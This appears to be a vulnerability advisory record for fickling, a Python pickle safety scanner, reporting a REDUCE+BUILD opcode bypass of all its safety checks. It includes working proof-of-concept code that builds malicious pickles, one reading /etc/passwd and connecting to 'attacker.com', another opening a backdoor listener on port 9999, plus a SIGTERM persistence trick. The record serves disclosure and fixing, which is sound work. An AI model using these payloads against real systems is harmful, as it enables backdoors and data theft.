{"id":"GHSA-mhc9-48gj-9gp3","aliases":[],"url":"https://o3.security/vulnerability/GHSA-mhc9-48gj-9gp3","summary":"Fickling has safety check bypass via REDUCE+BUILD opcode sequence","details":"# Assessment\n\nIt is believed that the analysis pass works as intended, `REDUCE` and `BUILD` are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400).\n\n# Original report\n\n### Summary\nAll 5 of fickling's safety interfaces — `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager — report `LIKELY_SAFE` / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (`socketserver.TCPServer`), process persistence (`signal.signal`), outbound data exfiltration (`smtplib.SMTP`), and file creation on disk (`sqlite3.connect`). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection.\n\n## Details\n\nThe bypass exploits three weaknesses in fickling's static analysis pipeline:\n\n1. **`likely_safe_imports` over-inclusion** (`fickle.py:432-435`): When fickling decompiles a pickle and encounters `from smtplib import SMTP`, it adds `\"SMTP\"` to the `likely_safe_imports` set because `smtplib` is a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc.\n\n2. **`OvertlyBadEvals` exemption** (`analysis.py:301-310`): The main call-level safety checker skips any call where the function name is in `likely_safe_imports`. So `SMTP('attacker.com')` is never flagged.\n\n3. **`__setstate__` exclusion** (`fickle.py:443-446`): BUILD generates a `__setstate__` call which is excluded from the `non_setstate_calls` list. This means BUILD's call is invisible to `OvertlyBadEvals`. Additionally, BUILD consumes the REDUCE result variable, which prevents the `UnusedVariables` checker from flagging the unused assignment (the only remaining detection mechanism).\n\n### Affected versions\n\nAll versions through 0.1.7 (latest as of 2026-02-18).\n\n### Affected APIs\n\n- `fickling.is_likely_safe()` - returns `True` for bypass payloads\n- `fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE`\n- `fickling --check-safety` CLI - exits with code 0\n- `fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes\n- `fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes\n\n\n\n## PoC\n\nA single pickle that reads `/etc/passwd` AND opens a network connection to an attacker's server, yet fickling reports it as `LIKELY_SAFE`:\n\n```python\nimport io, struct, tempfile, os\n\ndef sbu(s):\n    \"\"\"SHORT_BINUNICODE opcode helper.\"\"\"\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"<B\", len(b)) + b\n\ndef make_exfiltration_pickle():\n    \"\"\"\n    Single pickle that:\n      1. Reads /etc/passwd via fileinput.input()\n      2. Opens TCP connection to attacker via smtplib.SMTP()\n    Both operations pass as LIKELY_SAFE.\n    \"\"\"\n    buf = io.BytesIO()\n    buf.write(b\"\\x80\\x04\\x95\")  # PROTO 4 + FRAME\n    payload = io.BytesIO()\n\n    # --- Operation 1: Read /etc/passwd ---\n    payload.write(sbu(\"fileinput\") + sbu(\"input\") + b\"\\x93\")  # STACK_GLOBAL\n    payload.write(sbu(\"/etc/passwd\") + b\"\\x85\")                # arg + TUPLE1\n    payload.write(b\"R\")                                         # REDUCE\n    payload.write(b\"}\" + sbu(\"_x\") + sbu(\"y\") + b\"s\" + b\"b\")  # BUILD\n    payload.write(b\"0\")                                         # POP (discard result)\n\n    # --- Operation 2: Connect to attacker ---\n    payload.write(sbu(\"smtplib\") + sbu(\"SMTP\") + b\"\\x93\")     # STACK_GLOBAL\n    payload.write(sbu(\"attacker.com\") + b\"\\x85\")               # arg + TUPLE1\n    payload.write(b\"R\")                                         # REDUCE\n    payload.write(b\"}\" + sbu(\"_x\") + sbu(\"y\") + b\"s\" + b\"b\")  # BUILD\n    payload.write(b\".\")                                         # STOP\n\n    frame_data = payload.getvalue()\n    buf.write(struct.pack(\"<Q\", len(frame_data)))\n    buf.write(frame_data)\n    return buf.getvalue()\n\n# Generate and test\ndata = make_exfiltration_pickle()\nwith open(\"/tmp/exfil.pkl\", \"wb\") as f:\n    f.write(data)\n\nimport fickling\nprint(fickling.is_likely_safe(\"/tmp/exfil.pkl\"))\n# Output: True  <-- BYPASSED (file read + network connection in one pickle)\n```\n\nfickling decompiles this to:\n```python\nfrom fileinput import input\n_var0 = input('/etc/passwd')       # reads /etc/passwd\n_var1 = _var0\n_var1.__setstate__({'_x': 'y'})\nfrom smtplib import SMTP\n_var2 = SMTP('attacker.com')       # opens TCP connection to attacker\n_var3 = _var2\n_var3.__setstate__({'_x': 'y'})\nresult = _var3\n```\n\nYet reports `LIKELY_SAFE` because every call is either in `likely_safe_imports` (skipped) or is `__setstate__` (excluded).\n\n**CLI verification:**\n```bash\n$ fickling --check-safety /tmp/exfil.pkl; echo \"EXIT: $?\"\nEXIT: 0    # BYPASSED - file read + network access passes as safe\n```\n\n**`always_check_safety()` verification:**\n```python\nimport fickling, pickle\n\nfickling.always_check_safety()\n\n# This should raise UnsafeFileError for malicious pickles, but doesn't:\nwith open(\"/tmp/exfil.pkl\", \"rb\") as f:\n    result = pickle.load(f)\n# No exception raised — malicious code executed successfully\n```\n\n**`check_safety()` context manager verification:**\n```python\nimport fickling, pickle\n\nwith fickling.check_safety():\n    with open(\"/tmp/exfil.pkl\", \"rb\") as f:\n        result = pickle.load(f)\n# No exception raised — malicious code executed successfully\n```\n\n### Backdoor listener PoC (most impactful)\n\nA pickle that opens a TCP listener on port 9999, binding to all interfaces:\n\n```python\nimport io, struct\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"<B\", len(b)) + b\n\ndef make_backdoor_listener():\n    buf = io.BytesIO()\n    buf.write(b\"\\x80\\x04\\x95\")  # PROTO 4 + FRAME\n    payload = io.BytesIO()\n\n    # socketserver.TCPServer via STACK_GLOBAL\n    payload.write(sbu(\"socketserver\") + sbu(\"TCPServer\") + b\"\\x93\")\n\n    # Address tuple ('0.0.0.0', 9999) - needs MARK+TUPLE for mixed types\n    payload.write(b\"(\")                                    # MARK\n    payload.write(sbu(\"0.0.0.0\"))                          # host string\n    payload.write(b\"J\" + struct.pack(\"<i\", 9999))          # BININT port\n    payload.write(b\"t\")                                    # TUPLE\n\n    # Handler class via STACK_GLOBAL\n    payload.write(sbu(\"socketserver\") + sbu(\"BaseRequestHandler\") + b\"\\x93\")\n\n    payload.write(b\"\\x86\")  # TUPLE2 -> (address, handler)\n    payload.write(b\"R\")     # REDUCE -> TCPServer(address, handler)\n    payload.write(b\"N\")     # NONE\n    payload.write(b\"b\")     # BUILD(None) -> no-op\n    payload.write(b\".\")     # STOP\n\n    frame_data = payload.getvalue()\n    buf.write(struct.pack(\"<Q\", len(frame_data)))\n    buf.write(frame_data)\n    return buf.getvalue()\n\nimport fickling, pickle, socket\ndata = make_backdoor_listener()\nwith open(\"/tmp/backdoor.pkl\", \"wb\") as f:\n    f.write(data)\n\nprint(fickling.is_likely_safe(\"/tmp/backdoor.pkl\"))\n# Output: True  <-- BYPASSED\n\nserver = pickle.loads(data)\n# Port 9999 is now LISTENING on all interfaces\n\ns = socket.socket()\ns.connect((\"127.0.0.1\", 9999))\nprint(\"Connected to backdoor port!\")  # succeeds\ns.close()\nserver.server_close()\n```\n\nThe TCPServer constructor calls `server_bind()` and `server_activate()` (which calls `listen()`), so the port is open and accepting connections immediately after `pickle.loads()` returns.\n\n## Impact\n\nAn attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts include:\n\n- **Backdoor network listener**: `socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler)` opens a port on all interfaces, accepting connections from the network. The TCPServer constructor calls `server_bind()` and `server_activate()`, so the port is open immediately after `pickle.loads()` returns.\n- **Process persistence**: `signal.signal(SIGTERM, SIG_IGN)` makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the orchestrator cannot gracefully shut down the process — the backdoor stays alive for 30+ seconds per restart attempt.\n- **Outbound exfiltration channels**: `smtplib.SMTP('attacker.com')`, `ftplib.FTP('attacker.com')`, `imaplib.IMAP4('attacker.com')`, `poplib.POP3('attacker.com')` open outbound TCP connections. The attacker's server sees the connection and learns the victim's IP and hostname.\n- **File creation on disk**: `sqlite3.connect(path)` creates a file at an attacker-chosen path as a side effect of the constructor.\n- **Additional bypassed modules**: glob.glob, fileinput.input, pathlib.Path, compileall.compile_file, codeop.compile_command, logging.getLogger, zipimport.zipimporter, threading.Thread\n\nA single pickle can combine all of the above (signal suppression + backdoor listener + network callback + file creation) into one payload. In a cloud ML environment, this enables persistent backdoor access while resisting graceful shutdown. 15 top-level stdlib modules bypass detection when BUILD is appended.\n\nThis affects any application using fickling as a safety gate for ML model files.\n\n## Suggested Fix\n\nRestrict `likely_safe_imports` to a curated allowlist of known-safe modules instead of trusting all stdlib modules. Additionally, either remove the `OvertlyBadEvals` exemption for `likely_safe_imports` or expand the `UNSAFE_IMPORTS` blocklist to cover network/file/compilation modules.\n\n## Relationship to GHSA-83pf-v6qq-pwmr\n\nGHSA-83pf-v6qq-pwmr (Low, 2026-02-19) reports 6 network-protocol modules missing from the blocklist. Adding those modules to `UNSAFE_IMPORTS` does NOT fix this vulnerability because the root cause is the `OvertlyBadEvals` exemption for `likely_safe_imports` (`analysis.py:304-310`), which skips calls to ANY stdlib function — not just those 6 modules. Our 15 tested bypass modules include `socketserver`, `signal`, `sqlite3`, `threading`, `compileall`, and others beyond the scope of that advisory.","published":"2026-02-25T15:24:18Z","modified":"2026-02-25T15:32:49.062084Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"fickling","fixedVersion":"0.1.8"}],"fix":{"url":"https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400","label":"trailofbits/fickling@0c4558d"},"references":[{"type":"WEB","url":"https://github.com/trailofbits/fickling/security/advisories/GHSA-mhc9-48gj-9gp3"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-83pf-v6qq-pwmr"},{"type":"PACKAGE","url":"https://github.com/trailofbits/fickling"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-02-25T15:32:49.062084Z"}}